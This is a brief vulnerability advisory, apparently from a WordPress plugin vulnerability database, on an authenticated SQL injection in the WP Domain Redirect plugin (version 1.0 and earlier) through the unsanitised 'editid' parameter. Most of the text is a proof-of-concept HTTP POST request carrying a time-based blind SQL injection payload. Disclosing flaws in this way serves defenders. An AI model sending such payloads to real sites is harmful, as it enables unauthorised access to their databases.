WordPress Plugin Vulnerabilities

WP Domain Redirect <= 1.0 - Authenticated SQL Injection

Description

The Edit domain functionality in the plugin has an `editid` parameter which is not sanitised, escaped or validated before inserting to a SQL statement, leading to SQL injection.

Proof of Concept

POST /wp-admin/admin.php?page=add&action=edit&id=1 HTTP/1.1
Content-Length: 102
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-GPC: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [admin+]
Connection: close

country_id=6&editid=1%20AND%20(SELECT%201167%20FROM%20(SELECT(SLEEP(10)))xkwI)&domain_name=lol.com&update=Update